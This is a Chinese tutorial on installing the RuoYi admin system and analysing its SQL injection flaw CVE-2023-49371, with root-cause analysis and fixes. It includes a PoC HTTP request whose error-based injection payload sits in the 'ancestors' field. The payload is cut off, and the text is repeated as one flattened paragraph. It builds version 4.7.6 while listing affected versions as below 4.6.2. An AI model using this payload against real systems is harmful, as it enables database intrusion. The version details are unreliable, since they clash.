【若依专题01】超详细的环境搭建教学+SQL注入漏洞分析
字数 1293 2025-08-23 18:31:24

若依(RuoYi)环境搭建与SQL注入漏洞分析(CVE-2023-49371)教学文档

一、环境搭建

1.1 下载若依系统

  • 下载地址:https://github.com/yangzongzhuan/RuoYi/releases
  • 本教程以4.7.6版本为例,其他版本安装方法类似

1.2 数据库准备

使用Docker启动MySQL服务(示例使用3307端口,因3306端口被占用):

docker run -d \
  --name ruoyi4.7.6-mysql \
  -e MYSQL_ROOT_PASSWORD=123456 \
  -e MYSQL_DATABASE=ry \
  -p 3307:3306 \
  -v mysql-data:/var/lib/mysql \
  mysql:8.0

1.3 数据库初始化

导入若依系统提供的SQL文件:

  1. 导入RuoYi-4.7.6/sql/ry_20210924.sql
  2. 导入RuoYi-4.7.6/sql/quartz.sql

1.4 配置文件修改

  1. 数据库连接配置

    • 修改文件:RuoYi-4.7.6/ruoyi-admin/src/main/resources/application-druid.yml
    • 更新数据库连接信息(主机、端口、用户名、密码等)
  2. 日志路径配置

    • 修改文件:RuoYi-4.7.6/ruoyi-admin/src/main/resources/logback.xml
    • 将日志路径改为相对路径:./logs
  3. 上传路径配置

    • 修改文件:RuoYi-4.7.6/ruoyi-admin/src/main/resources/application.yml
    • 将上传路径改为相对路径

1.5 启动系统

  1. 使用IDEA打开项目
  2. 点击右上角运行按钮
  3. 启动成功后访问:http://your-ip/

二、SQL注入漏洞分析(CVE-2023-49371)

2.1 影响版本

  • RuoYi < 4.6.2

2.2 漏洞探测与利用

POC示例:

POST /system/dept/edit HTTP/1.1
Host: 10.211.55.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://10.211.55.2
Connection: keep-alive
Referer: http://10.211.55.2/system/role/edit/2
Cookie: JSESSIONID=2e755451-a869-4e9c-aa20-278c7b9a1d26
Priority: u=0

DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user(

2.3 漏洞原理分析

  1. MyBatis参数符号区别

    • #:使用预编译向占位符中设置值,可有效防止SQL注入
    • $:使用拼接SQL,是触发SQL注入的关键
  2. 漏洞定位

    • 查看application.yml文件中的MyBatis配置
    • 搜索classpath*:mapper/**/*Mapper.xml中包含$的文件
  3. 漏洞具体位置

    • SysDeptMapper.xml配置文件中,发现${}包裹的ancestors参数存在SQL注入风险
    • 完整SQL语句类似:update sys_dept set status=x where dept_id in ${ancestors}
  4. 调用链分析

    • 查看SysDeptMapper.xml文件开头
    • 定位到Dao层的com.ruoyi.system.mapper.SysDeptMapper

2.4 修复建议

  1. 升级到RuoYi 4.6.2或更高版本
  2. $符号替换为#符号进行参数绑定
  3. 对用户输入进行严格的过滤和验证

三、总结

本教程详细介绍了若依(RuoYi)系统的环境搭建过程,包括数据库配置、文件修改和系统启动。同时深入分析了CVE-2023-49371 SQL注入漏洞的原理、利用方式和修复方法。开发人员应特别注意MyBatis中$符号的使用风险,避免直接拼接用户输入到SQL语句中。

若依(RuoYi)环境搭建与SQL注入漏洞分析(CVE-2023-49371)教学文档 一、环境搭建 1.1 下载若依系统 下载地址:https://github.com/yangzongzhuan/RuoYi/releases 本教程以4.7.6版本为例,其他版本安装方法类似 1.2 数据库准备 使用Docker启动MySQL服务(示例使用3307端口,因3306端口被占用): 1.3 数据库初始化 导入若依系统提供的SQL文件: 导入 RuoYi-4.7.6/sql/ry_20210924.sql 导入 RuoYi-4.7.6/sql/quartz.sql 1.4 配置文件修改 数据库连接配置 : 修改文件: RuoYi-4.7.6/ruoyi-admin/src/main/resources/application-druid.yml 更新数据库连接信息(主机、端口、用户名、密码等) 日志路径配置 : 修改文件: RuoYi-4.7.6/ruoyi-admin/src/main/resources/logback.xml 将日志路径改为相对路径: ./logs 上传路径配置 : 修改文件: RuoYi-4.7.6/ruoyi-admin/src/main/resources/application.yml 将上传路径改为相对路径 1.5 启动系统 使用IDEA打开项目 点击右上角运行按钮 启动成功后访问:http://your-ip/ 二、SQL注入漏洞分析(CVE-2023-49371) 2.1 影响版本 RuoYi < 4.6.2 2.2 漏洞探测与利用 POC示例: 2.3 漏洞原理分析 MyBatis参数符号区别 : # :使用预编译向占位符中设置值,可有效防止SQL注入 $ :使用拼接SQL,是触发SQL注入的关键 漏洞定位 : 查看 application.yml 文件中的MyBatis配置 搜索 classpath*:mapper/**/*Mapper.xml 中包含 $ 的文件 漏洞具体位置 : 在 SysDeptMapper.xml 配置文件中,发现 ${} 包裹的 ancestors 参数存在SQL注入风险 完整SQL语句类似: update sys_dept set status=x where dept_id in ${ancestors} 调用链分析 : 查看 SysDeptMapper.xml 文件开头 定位到Dao层的 com.ruoyi.system.mapper.SysDeptMapper 类 2.4 修复建议 升级到RuoYi 4.6.2或更高版本 将 $ 符号替换为 # 符号进行参数绑定 对用户输入进行严格的过滤和验证 三、总结 本教程详细介绍了若依(RuoYi)系统的环境搭建过程,包括数据库配置、文件修改和系统启动。同时深入分析了CVE-2023-49371 SQL注入漏洞的原理、利用方式和修复方法。开发人员应特别注意MyBatis中 $ 符号的使用风险,避免直接拼接用户输入到SQL语句中。